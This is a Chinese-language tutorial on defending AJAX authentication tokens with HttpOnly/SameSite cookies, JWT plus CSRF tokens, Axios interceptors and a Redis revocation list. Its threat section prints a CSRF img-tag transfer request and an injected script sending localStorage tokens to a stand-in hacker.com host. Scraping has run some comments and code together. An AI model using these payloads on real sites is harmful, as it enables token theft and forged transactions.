共计 2883 个字符,预计需要花费 8 分钟才能阅读完成。
背景痛点:AJAX 请求中的 Token 风险
在前后端分离架构中,Token 是身份验证的核心载体,但存在三大安全隐患:

-
CSRF(跨站请求伪造):攻击者诱导用户触发恶意请求,利用浏览器自动携带 Cookie 的特性冒充合法操作。例如:
// 恶意网站通过 img 标签发起转账请求 <img src="https://bank.com/transfer?to=hacker&amount=10000"> -
XSS 窃取 Token:通过注入脚本窃取 LocalStorage 中的 Token,相比 Cookie 更易被盗取。经典案例是未转义用户输入导致脚本注入:
// 攻击者注入的脚本 <script>fetch('https://hacker.com/steal?token='+localStorage.token)</script> -
权限越权 :未校验 Token 中的权限声明(如 JWT 的 claims),导致普通用户访问管理员接口。
技术对比:主流 Token 存储方案
| 维度 | Cookie Token | LocalStorage Token | JWT |
|---|---|---|---|
| 防 CSRF | 需配合 SameSite 属性 | 完全无防护 | 依赖自定义 Header |
| 防 XSS | 可设置 HttpOnly | 易被窃取 | 需配合 HttpOnly Cookie |
| 有效期管理 | 服务端可控 | 客户端持久化 | 需自行实现刷新机制 |
| 分布式支持 | 依赖 Session 存储 | 无状态 | 原生无状态 |
| 传输性能 | 每次请求自动携带 | 需手动添加 Header | Base64 体积较大 |
核心实现:双重 Token 方案
1. 初始化 Express 服务
const express = require('express');
const jwt = require('jsonwebtoken');
const csrf = require('csrf');
const app = express();
// 密钥配置(实际生产环境应从环境变量读取)const JWT_SECRET = 'your_jwt_secret';
const CSRF_SECRET = 'your_csrf_secret';
app.use(express.json());
2. 生成双重 Token
// 登录接口
app.post('/login', (req, res) => {const { username, password} = req.body;
// 1. 生成 JWT(使用 HMAC-SHA256 算法,平衡性能与安全)const accessToken = jwt.sign({ userId: 123, role: 'user'},
JWT_SECRET,
{expiresIn: '15m'} // 短期有效
);
// 2. 生成 CSRF Token(使用同步库简化示例)const csrfToken = csrf().create(CSRF_SECRET);
// 3. 设置 HttpOnly Cookie(防御 XSS)res.cookie('token', accessToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict'
});
res.json({csrfToken});
});
3. 验证中间件
// JWT 验证中间件
const authJWT = (req, res, next) => {
const token = req.cookies.token;
try {const decoded = jwt.verify(token, JWT_SECRET);
req.user = decoded; // 挂载用户信息
next();} catch (err) {return res.sendStatus(401);
}
};
// CSRF 验证中间件
const checkCSRF = (req, res, next) => {const csrfToken = req.headers['x-csrf-token'];
if (!csrfToken || !csrf().verify(CSRF_SECRET, csrfToken)) {return res.sendStatus(403);
}
next();};
4. Axios 拦截器配置
// 请求拦截器
axios.interceptors.request.use(config => {config.headers['X-CSRF-Token'] = getCSRFTokenFromStore();
return config;
});
// 响应拦截器(处理 Token 过期)axios.interceptors.response.use(
response => response,
async error => {if (error.response.status === 401) {await refreshToken(); // 调用刷新 Token 逻辑
return axios(error.config); // 重试原请求
}
return Promise.reject(error);
}
);
安全增强策略
HttpOnly/Secure/SameSite 三件套
res.cookie('token', token, {
httpOnly: true, // 阻止 JavaScript 访问
secure: true, // 仅 HTTPS 传输
sameSite: 'strict' // 禁止跨站发送
});
JWT 黑名单实现
// 使用 Redis 存储失效 Token
const redis = require('redis');
const client = redis.createClient();
// 登出时加入黑名单
app.post('/logout', authJWT, (req, res) => {const { exp} = req.user;
const ttl = exp - Math.floor(Date.now() / 1000);
client.set(req.cookies.token, 'revoked', 'EX', ttl);
res.clearCookie('token');
res.sendStatus(200);
});
// 验证时检查黑名单
const checkRevoked = async (req, res, next) => {const exists = await client.get(req.cookies.token);
if (exists) return res.sendStatus(401);
next();};
生产环境避坑指南
- 未设置 Token 过期时间
- 风险:Token 永久有效导致无法强制失效
-
解决:JWT 设置
expiresIn,Cookie 设置maxAge -
敏感操作仅依赖前端鉴权
- 风险:攻击者直接调用 API 绕过检查
-
解决:服务端必须校验用户角色 claims
-
使用对称加密存储密钥
- 风险:数据库泄露导致所有 Token 可伪造
- 解决:非对称加密(如 RS256)或 HSM 硬件存储密钥
延伸思考
- 如何设计 Token 刷新机制,平衡安全性与用户体验?
- 在微服务架构下,如何实现跨服务的 Token 验证?
- 对于超高并发系统,JWT 签名验证是否会成为性能瓶颈?
通过本文的实践方案,开发者可以构建企业级的 Token 安全体系。建议根据实际业务需求,在安全合规与用户体验之间找到平衡点。
正文完
